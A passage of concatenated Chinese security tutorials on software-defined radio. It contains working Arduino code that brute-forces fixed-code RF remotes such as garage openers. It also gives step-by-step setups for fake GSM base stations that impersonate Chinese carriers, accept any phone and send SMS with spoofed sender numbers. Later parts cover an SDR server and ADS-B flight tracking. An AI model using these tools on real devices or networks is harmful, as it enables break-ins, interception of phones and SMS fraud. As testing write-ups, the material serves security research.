位里是没有 10 码的,所有你需要尝试的次数是 3 ^ 8 = 6561 每个按键总共 6561 种可能性。 知道了暴力穷举攻击需要尝试的次数后我们再来算一下需要的时间,我对一个普通的遥控器做信号发送的采集,10 秒钟时间内我在接收端收到一百零几次遥控信号,也就是说一分钟至少可以发送(尝试) 600 个可能性。尝试 24 位(bit)长度的所有组合所需的时间是 16777216 / 600 = 27962 27962 分钟左右,大概 20 天不到。尝试 16 位(bit)长度一个按键的所有组合所需的时间是 65536 / 600 = 109 109 分钟左右,大概一个多小时。尝试 3 态 8 位一个按键的所有组合所需的时间是 6561 / 600 = 11 大概 11 分钟左右!! 那么 Samy Kamkar 在 8 秒内打开车库门的 OpenSesame 项目是怎么做到的?首先 Samy Kamkar 的那个车库门的遥控器并非是 3 态 8 位的,编码长度好像只有 12 位(bit), 2 ^ 12 = 4096 总共 4096 种组合。最关键是遥控设备的接收端使用的是移位寄存器,所以使用 De Bruijn 序列 即可在非常短的时间内完成所有可能性的尝试。 但我们常见的 3 态 8 位遥控设备的接收端用得并非是移位寄存器,所以没法使用De Bruijn序列实现暴力穷举攻击。检测接收端是否使用了移位寄存器的一个方法是在正确的编码前加个 0 。如果使用了移位寄存器,那么会跳过错误的一个位(bit)检查下一个正确的,并给予响应。如果没使用移位寄存器,那么什么反应都没有,因为你发送的这个编码是错误的。 4、制作 Hacking 硬件 从上面理论分析中我们知道了这种遥控设备所存在的其中一个缺陷,要尝试利用这个缺陷实现对设备的攻击方法不止一种。你可以抱着你的笔记本和 SDR 设备去攻击它,或者我们尝试制作自己的便捷式硬件来利用这个缺陷实现对设备的攻击。 这个我们使用 Arduino 和 RF 模块实现攻击功能。使用 Arduino 是因为廉价、易上手,当然你有能力的话也可以使用其他单片机去实现,或者自己设计电路,使用更好的 CC1111 芯片去实现 RF 功能。 4.1 硬件列表 Arduino Pro Micro 315 MHz或433 MHz 无线模块 轻触按钮 10K电阻 面包板 面包板跳线 4.2 硬件连接方式 4.3 功能代码 /* Brute Force Attack 4 ^ 8 Remote Control https://github.com/ZMOM1031/bruteforce3-8remote */ #include <stdio.h> #include <RCSwitch.h> RCSwitch mySwitch = RCSwitch(); // 定义 4 个按键针脚 const int button_a = 10; const int button_b = 16; const int button_c = 14; const int button_d = 15; int butStatA = 0; int butStatB = 0; int butStatC = 0; int butStatD = 0; int dfa = 256; void setup() { Serial.begin(9600); mySwitch.enableTransmit(9); // 定义发送模块的数据传输针脚 mySwitch.setPulseLength(170); // 定义脉冲长度,这个值具体看你使用的遥控器而定 pinMode(button_a, INPUT); pinMode(button_b, INPUT); pinMode(button_c, INPUT); pinMode(button_d, INPUT); } void loop() { // read the state of the pushbutton value: butStatA = digitalRead(button_a); butStatB = digitalRead(button_b); butStatC = digitalRead(button_c); butStatD = digitalRead(button_d); // Button A if (butStatA == HIGH) { // check if the pushbutton is pressed. for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(192); mySwitch.send(key, 24); } } // Button B if (butStatB == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(48); mySwitch.send(key, 24); } } // Button C if (butStatC == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(12); mySwitch.send(key, 24); } } // Button D if (butStatD == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(3); mySwitch.send(key, 24); } } } 注:这段代码实现的是发送 4 ^ 8 的所有可能性。 生成 3 ^ 8 的所有可能性的算法我还没实现,暂时也没时间去继续研究如何实现了,过完年得去找工作了。 5、总结 在实际测试中暴力穷举攻击确实是有效的,但由于时间匆忙,硬件设计和代码都不是最优化的,所攻击的速度还是差了点。如果你使用的是这种类型的遥控设备也不用担心会这么样。 bruteforce3-8remote 这个项目后续还会更新,争取达到最高的可用度,还会再加一些功能。目前我得先去忙着找工作,才是正事。未来还会研究一些其他的硬件安全的破解/逆向项目的。 原文地址:https://blog.iternull.com/posts/2017/02/04/Use-Arduino-brute-force-to-attack-remote-control.html
0×00 引子 近年来,随着云计算、物联网技术的快速发展,物联网的理念和相关技术产品已经广泛渗透到社会经济民生的各个领域,越来越多的穿戴设备、家用电器通过蓝牙、Wi-Fi、Li-Fi、z-wave、LoRa等技术接入互联网,成为联网的终端设备。 但是由于这些技术普遍为短距离无线通信技术,通常被设计用于室内和短距离使用,在室外尤其是非视距下性能表现非常差,而作为现有成熟的GSM(Global System for Mobile Communication)技术,因其网络在全国范围内实现了联网和漫游,在网络资源、传输特性及数据可靠性等方面的优势,提供了一个机动、灵活、可靠的远距离传输方式,所以使用GSM模块联网的方案也被广泛使用。 0×01 测试短板 针对短距离无线通信技术的测试方法有很多,同时也被大家所悉知、使用,所以这里不再一一详述。而对于通过使用2G/GSM、3G/UMTS以及4G/LTE基站联网通信的设备,例如智能电表、POS机、抓娃娃机、自动售货机这些硬件的测试方法、技巧却是寥寥无几,几乎一片空白。 本文将分享如何通过SDR加开源项目搭建伪基站并使用伪基站的GPRS功能作为网关来进行GSM/GPRS网络测试,并对GSM模块的硬件流量进行拦截、分析、重放等。 0×02 环境搭建 下载Ubuntu-16.04-desktop-i386.iso,安装使用一台全新的机器,防止因依赖问题导致的报错。 2.1 更新 sudo apt-get install software-properties-common python-software-properties sudo add-apt-repository ppa:git-core/ppa sudo apt-get update sudo apt-get install git 2.2 搭建OpenBTS开发环境 mkdir sdr //新建sdr文件夹 cd sdr //进入该文件夹 git clone https://github.com/RangeNetworks/dev.git cd dev ./clone.sh //从GitHub克隆代码 ./switchto.sh master //切到master分支 ./build.sh B200 编译下载的源码,因为使用的是USRP B200 build脚本后加SDR硬件 ,如果使用的是USRP N200 则执行./build.sh N200(过程中需从谷歌下载源码,建议全程FQ,否则会报错!) 编译过程根据网络、机器性能而异,通常在30-45分钟左右,编译完成后,ubuntu自动安装GnuRadio、USRP的UHD驱动等相关SDR环境,但USRP的固件还需手动下载: $sudo python /usr/lib/uhd/utils/uhd_images_downloader.py Images destination: /usr/share/uhd/images Downloading images from: http://files.ettus.com/binaries/images/uhd-images_003.009.002-release.zip Downloading images to: /tmp/tmpEplLOD/uhd-images_003.009.002-release.zip 26296 kB / 26296 kB (100%) Images successfully installed to: /usr/share/uhd/images $ uhd_usrp_probe linux; GNU C++ version 5.3.1 20151219; Boost_105800; UHD_003.009.002-0-unknown -- Loading firmware image: /usr/share/uhd/images/usrp_b200_fw.hex... -- Detected Device: B200 -- Loading FPGA image: /usr/share/uhd/images/usrp_b200_fpga.bin... done -- Operating over USB 2. -- Detecting internal GPSDO.... No GPSDO found -- Initialize CODEC control... -- Initialize Radio control... -- Performing register loopback test... pass -- Performing CODEC loopback test... pass -- Asking for clock rate 16.000000 MHz... -- Actually got clock rate 16.000000 MHz. -- Performing timer loopback test... pass -- Setting master clock rate selection to 'automatic'. _____________________________________________________ / | Device: B-Series Device | _____________________________________________________ | / | | Mboard: B200 | | revision: 5 | | product: 1 | | serial: 30EA064 | | name: MyB200 | | FW Version: 8.0 | | FPGA Version: 13.0 | | | | Time sources: none, internal, external, gpsdo | | Clock sources: internal, external, gpsdo | | Sensors: ref_locked | | _____________________________________________________ | | / | | | RX DSP: 0 | | | Freq range: -8.000 to 8.000 MHz | | _____________________________________________________ | | / | | | RX Dboard: A | | | _____________________________________________________ | | | / | | | | RX Frontend: A | | | | Name: FE-RX1 | | | | Antennas: TX/RX, RX2 | | | | Sensors: temp, rssi, lo_locked | | | | Freq range: 50.000 to 6000.000 MHz | | | | Gain range PGA: 0.0 to 76.0 step 1.0 dB | | | | Bandwidth range: 200000.0 to 56000000.0 step 0.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | RX Codec: A | | | | Name: B200 RX dual ADC | | | | Gain Elements: None | | _____________________________________________________ | | / | | | TX DSP: 0 | | | Freq range: -8.000 to 8.000 MHz | | _____________________________________________________ | | / | | | TX Dboard: A | | | _____________________________________________________ | | | / | | | | TX Frontend: A | | | | Name: FE-TX1 | | | | Antennas: TX/RX | | | | Sensors: temp, lo_locked | | | | Freq range: 50.000 to 6000.000 MHz | | | | Gain range PGA: 0.0 to 89.8 step 0.2 dB | | | | Bandwidth range: 200000.0 to 56000000.0 step 0.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | TX Codec: A | | | | Name: B200 TX dual DAC | | | | Gain Elements: None 编译完成后也会在BUILD目录下生成一个以编译时间为名的文件,如果系统为32bit编译后则在该目录下生成i386.deb的软件包,如果系统为64bit则生成amd64.deb : 2.3 更新&安装依赖包 sudo apt-get install software-properties-common python-software-properties sudo add-apt-repository ppa:chris-lea/zeromq sudo apt-get update 2.4 安装编译完成的DEB软件包 需注意是否有报错: cd dev/BUILD/2016-11-29--23-23-16 sudo dpkg -i libcoredumper1_1.2.1-1_i386.deb libcoredumper-dev_1.2.1-1_i386.deb sudo dpkg -i liba53_0.1_i386.deb sudo dpkg -i range-configs_5.0_all.deb sudo dpkg -i range-asterisk*.deb sudo apt-get install -f sudo dpkg -i sipauthserve_5.0_i386.deb sudo apt-get install -f sudo dpkg -i smqueue_5.0_i386.deb sudo apt-get install -f sudo dpkg -i openbts_5.0_i386.deb sudo apt-get install -f 0×03 开启数据转发、配置iptables 因为OpenBTS基站的GPRS网络流量是基于PC机,所以在开启基站GPRS功能前,需要开启数据包转发以及配置Iptables防火墙规则。 3.1 开启数据包转发: ubuntu开数据转发需以root身份执行,如果不是root用户,即使使用sudo也无法开启: sudo su echo 1 >> /proc/sys/net/ipv4/ip_forward 3.2 配置iptables规则: /etc/OpenBTS/iptables.rules 配置规则文件内容如下: # Generated by iptables-save v1.4.4 *nat :P REROUTING ACCEPT [0:0] :P OSTROUTING ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A POSTROUTING -o eth0 -j MASQUERADE COMMIT # Generated by iptables-save v1.4.4 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] COMMIT 某些情况下机器的网卡并非eth0 ,所以需要根据自身实际情况,灵活地修改配置文件。 sudo iptables-restore < /etc/OpenBTS/iptables.rules iptables -t nat -L -n -v 3.3 加载数据库 cd sdr/dev/openbts/apps sudo sqlite3 -init OpenBTS.example.sql /etc/OpenBTS/OpenBTS.db ".quit" cd sdr/dev/subscriberRegistry/apps sudo sqlite3 -init sipauthserve.example.sql /etc/OpenBTS/sipauthserve.db ".quit" cd sdr/dev/smqueue/smqueue sudo sqlite3 -init smqueue.example.sql /etc/OpenBTS/smqueue.db ".quit" 3.4 配置asterisk Asterisk是运行在Linux上来实现用户电话交换的IP-PBX系统开源软件,支持各种的VOIP协议。Asterisk提供了很多以前只有昂贵、专业的PBX系统才支持的功能,如:会议电话、语音信箱、交互式语音应答、自动电话转接。 在/etc/asterisk/目录中需要修改sip.conf、extensions.conf 具体方法:将手机的IMSI国际用户识别码和分配的号码登记数据asterisk中,也就是将数据写入sip.conf、extensions.conf两个配置文件。 SIP.CONF: [IMSI46001658*****19] callerid=2000003 canreinvite=no type=friend allow=gsm context=sip-external host=dynamic dtmfmode=info [IMSI41004030*****62] callerid=2000004 canreinvite=no type=friend allow=gsm context=sip-external host=dynamic dtmfmode=info callerid=2000003,表示将IMSI为46001658*****19的手机分配号码2000003; canreinvite=no,表示被呼叫的手机一旦建立连接后OpenBTS将不再发送重新邀请的指令; context=sip-external,表示允许外部未分配号码的匿名电话呼入。 0×04 启动基站: 4.1 执行 transceiver连接SDR硬件 cd sdr/dev/openbts/Transceiver52M sudo ./transceiver 4.3 执行smqueue,启用短信服务 cd sdr/dev/smqueue/smqueue sudo ./smqueue 4.4 执行sipauthserve,启用鉴权服务 cd sdr/dev/subscriberRegistry/apps sudo ./sipauthserve 4.5 asterisk -vvvc or asterisk -r 4.6 启动OpenBTS终端控制台: cd sdr/dev/openbts/apps sudo ./OpenBTSCLI root@0xroot:/home/init3/sdr/dev/openbts/apps# ./OpenBTSCLI OpenBTS Command Line Interface (CLI) utility Copyright 2012, 2013, 2014 Range Networks, Inc. Licensed under GPLv2. Includes libreadline, GPLv2. Connecting to 127.0.0.1:49300... Remote Interface Ready. Type: "help" to see commands, "version" for version information, "notices" for licensing information, "quit" to exit console interface. OpenBTS> version release 5.0-master+c438a5a689 CommonLibs:76b71d509b+GPRS P built 2016-11-29T23:31:19 OpenBTS> help Type "help" followed by the command name for help on that command. alarms audit calls cbs cellid chans config crashme devconfig endcall freqcorr gprs handover help load memstat neighbors noise notices page power rawconfig regperiod restart rmconfig rxgain sendsimple sendsms sgsn shutdown stats sysinfo tmsis trxfactory txatten unconfig uptime version OpenBTS> 0×05 配置基站 GSM 900频段瀑布图: gr-gsm &Kal扫描GSM基站 刚搭建完成的基站由于天线功率过大以及手机跟基站的距离太近等原因,可能会导致手机不能正常加入到基站,这时需要配置加入基站的条件以及设置天线功率: 允许任意机器接入: OpenBTS> config Control.LUR.OpenRegistration .* Control.LUR.OpenRegistration changed from "" to ".*" 设置天线功率: OpenBTS> devconfig GSM.Radio.RxGain 18 GSM.Radio.RxGain changed from "50" to "18" GSM.Radio.RxGain is static; change takes effect on restart 设置基站频段: OpenBTS> config GSM.Radio.Band 900 GSM.Radio.Band changed from "850" to "900" GSM.Radio.Band is static; change takes effect on restart 设置欢迎短信: config Control.LUR.NormalRegistration.Message Welcome to BTS 1 设置基站名: config GSM.Identity.ShortName GroundControl 将基站设置为测试网络: config Identity config GSM.Identity.MCC 001 将基站设置为国内: MCC460 为中国 config GSM.Identity.MCC 460 设置运营商为联通: config GSM.Identity.MNC 01 设置运营商为移动: config GSM.Identity.MNC 00 设置ARFCN、LAC、BCC 网络色码,NCC,一般用于标识运营商;基站色码,BCC,区分同一运营商下的相同BCCH的不同基站。 一般采用BCCH频点和BSIC来联合标识小区,BSIC=NCC+BCC。在TD和WCDMA里,存在PLMN,PLMN=MCC+MNC,其中MCC为移动国家码,MNC为移动网络码标识运营商。 基站切换的时候,主要是通过CI、BCCHBSIC等信息寻找目标小区,当同时检测到邻区列表里出现同BCCH同扰码组的小区时,容易出现切换失败。 OpenBTS> config GSM.Radio.C0 168 GSM.Radio.C0 changed from "151" to "168" GSM.Radio.C0 is static; change takes effect on restart OpenBTS> config GSM.Identity.BSIC.BCC 3 GSM.Identity.BSIC.BCC changed from "2" to "3" OpenBTS> config GSM.Identity.LAC 1001 GSM.Identity.LAC changed from "1000" to "1001" OpenBTS> config GSM.Identity.CI 11 GSM.Identity.CI changed from "10" to "11" 用户管理 在3.4配置asterisk再我们给部分用户配置了callerid号码,启动OpenBTS后可通过NodeManager目录下的nmcli.py脚本进行用户管理: cd sdr/dev/openbts/NodeManager/ 添加用户示例: ./nmcli.py sipauthserve subscribers create name imsi msisdn 将123456 (MSISDN码)分配到IMSI 码为46001658*****19的LG G3设备中 ./nmcli.py sipauthserve subscribers create "LG G3" IMSI46001658*****19 123456 读取已录入信息: root@0xroot:/home/init3/sdr/dev/openbts/NodeManager#./nmcli.py sipauthserve subscribers read raw request: {"command":"subscribers","action":"read","key":"","value":""} raw response: { "code" : 200, "data" : [ { "imsi" : "IMSI46001658*****19", "msisdn" : " 123456", "name" : "LG G3" }, { "imsi" : "IMSI46000645*****91", "msisdn" : " 223456", "name" : "MoTo" } ] } 启用GPRS功能: OpenBTS> config GPRS.Enable 1 设置基站DNS服务器: OpenBTS> config GGSN.DNS 8.8.8.8 编辑/etc/resolv.conf nameserver 8.8.8.8 为防止机器重启或重启网络后/etc/resolv.conf文件被重写复原,可修改/etc/resolvconf/resolv.conf.d/head nameserver 8.8.8.8 设置GGSN日志存放路径: OpenBTS> devconfig GGSN.Logfile.Name /tmp/GGSN.log 查看已加入基站的设备: OpenBTS> tmsis IMSI TMSI IMEI AUTH CREATED ACCESSED TMSI_ASSIGNED 46001658*****19 - 354834060*****0 1 30m 30m 0 查看日志:cat /var/log/OpenBTS.log 配置文件:/etc/rsyslog.d/OpenBTS.conf 发送短信:sendsms $IMSI $号码 ”$内容” sendsms 46001658*****19 888888 "Hello World" OpenBTS+Burp suite 使用Burp拦截硬件流量请求的方法这里可参考NCC Group的一篇博客:GSM/GPRS Traffic Interception for Penetration Testing Engagements 0×06 硬件调试 硬件芯片模块 G510-Q50-00 Pin Definitoins 焊接TTL进行调试: 串口调试: 0×07 refer GSM/GPRS Traffic Interception for Penetration Testing Engagements https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/may/gsmgprs-traffic-interception-for-penetration-testing-engagements/ Getting Started with OpenBTS PDF: http://openbts.org/site/wp-content/uploads/ebook/Getting_Started_with_OpenBTS_Range_Networks.pdf HTML:https://www.safaribooksonline.com/library/view/getting-started-with/9781491924280/ch04.html OpenBTS Application Suite Release 4.0 User Manual http://openbts.org/site/wp-content/uploads/2014/07/OpenBTS-4.0-Manual.pdf OpenBTS BuildInstallRun http://openbts.org/w/index.php?title=BuildInstallRun http://openbts.org/w/index.php?title=OpenBTS-UMTS https://wush.net/trac/rangepublic/wiki/GPRS How to get 3G working on the UmTRX https://fairwaves.co/blog/openbts-umts-3g-umtrx/ FIBOCOM G510 http://www.fibocom.com/product/2-1-2-1.html FIBOCOM G510 Q50-00 http://www.tme.eu/gb/details/g510-q50-00/gsmgpsgprshspaedgelte-modules/fibocom/g510-q50-00/ http://www.fibocom.com/upfile/down/document_2_1_2_1.pdf http://www.tme.eu/gb/Document/fabb43e22a46fba821931db19e577988/FIBOCOM_G510_U_M.pdf http://www.mouser.cn/ProductDetail/STMicroelectronics/STM32F103C8T6/?qs=bhCVus9SdFtq6kqxsU5%2FDA%3D%3D 原文地址:http://www.freebuf.com/articles/wireless/124147.html
此文章PDF文档下载地址:点击下载 0x00 写在前面 大家应该都听说过摩托罗拉C118配合Osmocom-BB实现GSM网络下的短信拦截功能吧,在14年左右新出了一种玩法就是Osmocom-BB的sylvain/testing分支固件可以配合OpenBTS,,借助周围信号强度较大的ARFCN伪造出一个新的基站信号。不过由于摩托罗拉C118的问题,无法实现语音通话功能只可以发送短信(默认只可以发送英文短信,修改源码可以实现发送中文短信) 以下内容将会指导你怎样用Osmocom-bb兼容的手机(如c115,c118,c123等)当作OpenBTS的无线收发机. 0x01 环境 已顺利编译运行过Osmocombb的可继续往下看,否则请参考官方链接或优秀文章 首先安装libosmo-dsp库 先下载 $ git clone git://git.osmocom.org/libosmo-dsp.git 编译前需要安装fftw3 $ apt-get install libfftw3-3 libfftw3-dev libfftw3-doc 然后编译 $ cd libosmo-dsp $ autoreconf -i $ ./configure $ make $ make install 0x02 Osmocom-BB 采用sylvain/testing分支(具体可看WIKI) 先下载 $ git clone git://git.osmocom.org/osmocom-bb.git 再切换分支编译 $ cd osmocom-bb $ git checkout sylvain/testing 默认编译出的版本发送信号相关的功能是被注释掉的,用mobile启动layer23后会一直于搜信号的过程中,因为无法发送信号。 如果需要进行实网测试需要打开src/target/firmware/Makefile文件中的编译开关 把osmocom-bb/src/target/firmware下的Makefile中的DCONFIG_TX_ENABLE宏打开: # Uncomment this line if you want to enable Tx (Transmit) Support. #CFLAGS += -DCONFIG_TX_ENABLE 然后到src目录下编译 $ cd src make HOST_layer23_CONFARGS=--enable-transceiver 0x03 OpenBTS 这里使用的OpenBTS的版本是OpenBts-p2.8(嫌手动编译麻烦的可以找我要DEB安装的教程),首先安装依赖 $ sudo apt-get install autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sqlite3 libsqlite3-dev erlang libreadline6-dev libncurses5-dev 下载源码 $ svn co http://wush.net/svn/range/software/public(svn版本必须 <= 1.7) 然后编译安装(有不懂的可以前往WIKI查看详细资料) $ cd a53/trunk $ make install $ cd openbts/trunk $ autoreconf -i $ ./configure $ make $ mkdir /etc/OpenBTS $ sqlite3 -init ./apps/OpenBTS.example.sql /etc/OpenBTS/OpenBTS.db ".quit" $ mkdir -p /var/lib/asterisk/sqlite3dir $ cd subscriberRegistry/trunk $ make $ sqlite3 -init subscriberRegistry.example.sql /etc/OpenBTS/sipauthserve.db ".quit" $ cd smqueue/trunk $ autoreconf -i $ ./configure $ make $ sqlite3 -init smqueue/smqueue.example.sql /etc/OpenBTS/smqueue.db ".quit" 安装OpenBTS后按照WIKI的说明配置/etc/OpenBTS/OpenBTS.db $ apt-get install sqlite3 sqliteman(ubuntu系统安装,Kali自带sqlitebrowser无需安装) 然后在终端内输入sqliteman启动软件,打开/etc/OpenBTS/目录下的OpenBTS.db文件 Control.GSMTAP.TargetIP = 127.0.0.1 GSM.Radio.NeedBSIC = 1 GSM.Radio.Band = 900 GSM.CellSelection.Neighbors =(留空) GSM.RACH.MaxRetrans = 3 GSM.RACH.TxInteger = 8 GSM.Radio.C0 = (发射的频点,数值1-124之间) Control.LUR.OpenRegistration =.* 0x04 刷入固件 用osmocon程序将trx.compalram.bin刷入手机 命令 $ sudo ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/trx.compalram.bin 0x05 开始执行 到OpenBTS/apps目录下,将transceiver重命名为transceiver.bak新建脚本文件transceiver内容如下 #!/bin/bash exec <your path to osmocom-bb>/src/host/layer23/src/transceiver/transceiver <ARFCN> <your path to osmocom-bb>替换成你自己的路径,<ARFCN>替换成附近信号最强的ARFCN号 赋予执行权限 chmod +x transceiver 然后开4个终端窗口分别执行 $ cd openbts/trunk/apps $ ./OpenBTS $ cd subscriberRegistry/trunk $ ./sipauthserve(开启注册服务) $ cd smqueue/trunk/smqueue/ $ ./smqueue(开启短信功能) $ cd openbts/trunk/apps $ ./OpenBTSCLI(打开OpenBTS控制台) 如果一切运行顺利打开手机进入 设置-移动网络-网络运营商 即可看到我们创建的基站 在OpenBTSCLI的终端窗口可以输入 help 查看命令帮助 输入 tmsis 可以查看当前基站用户的IMSI 输入 sendsms IMSI 电话号码 短信内容 即可发送任意显示号码的短信 0x06 结语 一入GSM深似海,作者不是学通信的,只是业余爱好,第一次写文章投稿,文中不免纰漏和不妥之处,有任何建议或意见欢迎留言! 0x07参考资料 http://osmocom.org/projects/baseband/wiki/Transceiverhttps://wush.net/trac/rangepublic/wiki/BuildInstallRunhttps://wush.net/trac/rangepublic/wiki/DebOpenBTShttp://bb.osmocom.org/trac/blog/PHD2012http://www.h-online.com/open/news/item/29C3-Budget-mobile-turns-into-GSM-base-station-1775204.htmlhttp://blog.0x7678.com/2014/03/osmocombbopenbtsgsmcalypso.html 0x08效果演示 http://www.cnblogs.com/k1two2/p/5176030.html(此文章中含视频演示)
0×00 前言 近期因为有个从异地捕获无线信号的需求,便尝试着用OpenWrt+公网IP搭建了一台SDR服务器。如果有小伙伴嫌SDR硬件天线看起来太乱、或者电脑没有足够的USB接口也可在局域网搭建SDR服务器通过TCP/IP调用SDR硬件。 HiWiFi router 0×01 获取root 刚买的极路由关闭了root功能,需要开启路由的开发者模式后才能通过SSH连入shell交互界面。申请开发者模式流程:进入路由器后台-云平台-路由器信息-高级设置-申请-绑定手机-输入验证码-绑定微信-微信账号绑定极路由账号。 下图是开启开发者模式前后的Nmap扫描结果: 开启开发者模式后可通过1022端口进入路由器shell界面: ssh root@192.168.199.1 -p 1022 0×02 极路由刷不死uboot 开启开发者模式后可对设备进行刷机,为了防止设备变砖可在设备刷入具有不死uboot之称的Breed Bootloader。在 http://breed.hackpascal.net/ 页面找到对应型号的uboot (极路由1s:HC5661、极路由2s:HC5761、极路由3:HC5861) 下载、刷入uboot 1 cd /tmp 2 wget http://breed.hackpascal.net/breed-mt7620-hiwifi-hc5861.bin 3 mtd -r write breed-mt7620-hiwifi-hc5861.bin 显示rebooting后等待路由重启完成。 重启完毕后三灯亮起,这时需断开电源,按住路由器的RST重置键然后再通电,当看到电源灯闪烁时可以松开RST键。电脑通过网线接入后自动获取ip,用浏览器192.168.1.1即可登陆Breed控制台。 安全起见,备份所有内容: 0×03 极路由刷OpenWrt 由于SDR服务器需要一个USB接口来插电视棒,所以需要在购买极路由的时候选一款带USB接口的机器。其它带USB接口的OpenWrt路由器也适用下文的内容. 查看CPU信息: cat /proc/cpuinfo 下载OpenWrt固件: 选择自己路由器对应的版本 1 cd /tmp 2 wget http://rssn.cn/roms/openwrt-15.05-ramips-mt7620-hc5861-squashfs-sysupgrade.bin 3 sysupgrade -F -n openwrt-15.05-ramips-mt7620-hc5861-squashfs-sysupgrade.bin 0x04 OpenWrt安装RTL驱动 OpenWrt刷入重启后,进入管理界面:http://192.168.1.1user:rootpass:root 设置SSH密码 ssh root@192.168.1.1 Openwrt可以使用opkg命令对软件包进行管理 1 opkg update 2 opkg list |grep rtl 3 opkg install rtl-sdr 安装完成后便可将电视棒插入路由器的USB接口: 启动OpenW上的rtl-sdr OpenWrt终端执行: rtl_tcp -a 192.168.1.1 -n 8 -b 8 之后OpenWrt上将开启1234端口: 0×05 使用SDR服务 客户机上执行: osmocom_fft -W -s 2000000 -f 144000000 -a 'rtl_tcp=192.168.1.1:1234' osmocom_fft -F -s 1.5e6 -f 101e6 -a 'rtl_tcp=192.168.1.1:1234' grqx 0×06 利用场景 1.可在机场塔台、港口等地方使用SDR服务器监测ADB-S、AIS(船舶自动识别系统Automatic Identification System) 2.利用SDR+WIFI捕获 语音、图像数据: 更多细节可参考DefCon Paper: How Hackers Could Wirelessly Bug Your Office Video:YouTuBe MayBe还能通过SDR服务器利用MouseJack漏洞对办公区域的键盘鼠标输入进行监听: Mousejack Hacking : 如何利用MouseJack进行物理攻击 GnuRadio Hacking②:使用SDR嗅探北欧芯片无线键盘鼠标数据包 0×07 Refer https://github.com/rssnsj/openwrt-hc5x61 http://www.binss.me/blog/install-openwrt-on-hiwifi-router/ http://www.right.com.cn/forum/thread-161906-1-1.html http://www.levey.cn/352.htm http://www.right.com.cn/forum/thread-161906-1-1.html http://yo2ldk.blogspot.com/2016/03/wireless-sdr-receiver.html http://adventurist.me/posts/0050 http://sdr.osmocom.org/trac/wiki/rtl-sdr 原文地址:http://www.freebuf.com/articles/wireless/121961.html
温馨提示:请自觉遵守无线电管理法规,依法设置和使用无线电设备 0×00 前言 USRP是数款流行的SDR硬件中功能和应用都相对成熟的一款产品,从WIFI协议、ZigBee协议、RFID协议、GSM通信系统、LTE 4G通信系统到飞机通信、卫星通信USRP都能很好的进行支持。软件开发工程师可以用它开发应用,安全工程师则用它来测试、研究相关的无线通信协议。 很大一部分玩过电视棒的小伙伴都使用过电视棒+dump1090的方案实现过追踪飞机飞行轨迹这一功能。之所以能够很容易的跟踪飞机,是因为航空CNS(通信导航监视)系统里大量采用非常古老的无线标准。 (电视棒+dump1090 2D) (图片来源:http://slideplayer.com/slide/2547225) 二次监视雷达(SSR)系统,地面站发射1030MHz的查询信号,飞机接收到此信号之后在1090MHz发射应答信号,信号中包含了飞机的一些信息,显示在空管的雷达屏幕上。还有空中防撞系统(TCAS),飞机可以自己发射1030MHz的查询信号,其他飞机接收到此信号之后在1090MHz发射应答信号,因此一架飞机得以”看到”周围的飞机。由于以上的查询-应答模式在飞机很多的时候显得效率不是那么高,因此新出现了一种ADS-B方式。在ADS-B中,每架飞机不等查询,主动广播自己的信息,这时监视和防撞需要做的就仅仅是接收了。 在通用航空当中ADS-B信号经常在978MHz发射,在商业飞行中ADS-B信号经常在1090MHz发射。 0×01 HardWare PC:Ubuntu Or Mac SDR:USRP、天线、USB数据线 0×02 Software 2.1安装pip、pybombs apt-get update apt-get install git apt-get install python-pip pip install --upgrade pip pip install git+https://github.com/gnuradio/pybombs.git pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git pybombs prefix init /usr/local -a myprefix -R gnuradio-default pybombs install gqrx gr-osmosdr uhd 以上内容是Ubuntu下安装SDR相关软件的方法,在Mac OSX中则可以使用 mac port 进行安装。 2.2下载USRP镜像 使用pybombs安装完UHD(USRP Hardware Driver)后还需下载固件镜像以及FPGA镜像,执行: python /usr/local/lib/uhd/utils/uhd_images_downloader.py 插入USRP后可执行: uhd_find_devices 或者 uhd_usrp_probe 来查看设备信息: 2.3编译安装gr-air-modes: git clone https://github.com/bistromath/gr-air-modes cd gr-air-modes mkdir build cd build cmake .. make sudo make install sudo ldconfig 2.4 安装谷歌地球 Ubuntu 32 bit: wget http://dl.google.com/dl/earth/client/current/google-earth-stable_current_i386.deb Ubuntu 64 bit: wget http://dl.google.com/dl/earth/client/current/google-earth-stable_current_amd64.deb sudo dpkg -i google-earth-stable_current_amd64.deb Mac osx: wget https://dl.google.com/earth/client/advanced/current/GoogleEarthMac-Intel.dmg 0×03 解码飞机信号&导入谷歌Earth cd gr-air-modes/apps/ ./modex_rx -K test.kml 执行App目录下的modex_rx,开始接收并解码来自飞机的1090MHz无线信号,-K参数即把解码到的航班号、经纬度、飞行速度等等保存为.kml文件。 打开谷歌地球:添加–>网络链接–> 新建链接名称,以及kml文件的绝对路径: 设定刷新时间,以及是否在刷新时前往该视图: 如果开启刷新前往视图后,google-earth会自动定位到你所在的区域并显示接收到区域上空的飞机。 (飞机飞行轨迹 3D) 地图上显示飞机的航班号,双击飞机图标可以显示该飞机高度、飞行速度等信息。 0×04 演示视频 0×05 refer https://kb.ettus.com/Implementation_of_an_ADS-B/Mode-S_Receiver_in_GNU_Radio http://www.freebuf.com/articles/wireless/77819.html USRP B200: Exploring the Wireless World https://media.blackhat.com/bh-us-12/Briefings/Costin/BH_US_12_Costin_Ghosts_In_Air_WP.pdf https://www.rs-online.com/designspark/10-things-you-can-do-with-software-defined-radio 原文地址:http://www.freebuf.com/articles/wireless/119950.html
